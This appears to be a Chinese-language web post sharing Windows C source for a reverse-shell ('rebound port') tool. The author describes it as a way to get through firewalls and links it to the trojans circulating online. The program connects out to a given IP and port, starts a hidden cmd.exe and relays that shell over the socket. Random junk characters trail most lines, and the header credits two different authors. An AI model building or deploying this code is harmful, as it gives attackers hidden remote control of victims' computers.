这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Fs{x(_LOr
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/* ============================== a=DcZ_M
Rebound port in Windows NT _AQb6Nb
By wind,2006/7 ^aH\7J@Y
===============================*/ 5jd,{<
#include 4a'N>eDR
#include r<K(jG[:{f
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#pragma comment(lib,"wsock32.lib") k.uMp<)D
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void OutputShell(); uT}' Y)m
SOCKET sClient; 5]n[]FW
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; S`#w+C#EW
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void main(int argc,char **argv) in~D
{ '+osf'&
WSADATA stWsaData; )3~{L;q
int nRet; 7w'wjX-
SOCKADDR_IN stSaiClient,stSaiServer; ep2k%?CX 1
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if(argc != 3) 3):A
{ o$w_Es]Ma
printf("Useage:\n\rRebound DestIP DestPort\n"); Z&|Kki*
return; ?Lyxw]
} :^kZ.6Q@
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WSAStartup(MAKEWORD(2,2),&stWsaData); +)y^'Qs
{ jhr<
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /lo2y?CS*
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stSaiClient.sin_family = AF_INET; U@-^C"R
stSaiClient.sin_port = htons(0); vH#huZA?7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g=;%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) W}5xmz
{ kL$!E9
printf("Bind Socket Failed!\n"); A<1hOSCz\
return; n}'=yItVL1
} c17_2 @N
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stSaiServer.sin_family = AF_INET; 8ELCs<xI
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sC='_h
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TMig-y*[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u/M+u;
{ w,h`s.AN
printf("Connect Error!"); |962G1.
return; ]`kmjn
} }UWL-TkEjF
OutputShell(); DV _2P$tT|
} v#.r.{t
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void OutputShell() z"0I>gl
{ 8Le||)y,\
char szBuff[1024]; (>r[-Bft
SECURITY_ATTRIBUTES stSecurityAttributes; <-[wd.M_
OSVERSIONINFO stOsversionInfo; pov)Z):}G<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gLy&esJl1
STARTUPINFO stStartupInfo; #wV8X`g
char *szShell; a'2$nbp}
PROCESS_INFORMATION stProcessInformation; O+]Ifm [
unsigned long lBytesRead; |h;0H`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ly:q6i
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I~ok4L?VB
stSecurityAttributes.lpSecurityDescriptor = 0; h&--,A >
stSecurityAttributes.bInheritHandle = TRUE; /(iFcMT
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1(|'WyD
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xO&eRy?%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fp+gyTnd3
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H[S%J3JI
stStartupInfo.wShowWindow = SW_HIDE; qYlhlHD
stStartupInfo.hStdInput = hReadPipe; paKSr|O
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k}
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GetVersionEx(&stOsversionInfo); )pq;*~IBI
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switch(stOsversionInfo.dwPlatformId) SV2M+5#;
{ Of4^?`
^
case 1: UE$UR#T'w
szShell = "command.com"; Q0&H#xgt
break; cVv;Jn
default: p$PKa.Y3
szShell = "cmd.exe"; )i!o8YB
break; YbTxn="_
} H;YP8MoQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~ xft
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send(sClient,szMsg,77,0); rvnT6Ve
while(1) xHz[t6;4;
{ gqu?o&>9
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2oNk93D
if(lBytesRead) wid;8%m
{ %F-ZN^R
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TWQG591
send(sClient,szBuff,lBytesRead,0); f!!V${)X
} X@K-^8
else P!+'1KR
{ _nbBIaHN{
lBytesRead=recv(sClient,szBuff,1024,0); `C$:Yf]%nG
if(lBytesRead<=0) break; f;1K5Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} =8; {\
} aC%m- m
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return; D"ND+*Q[X
}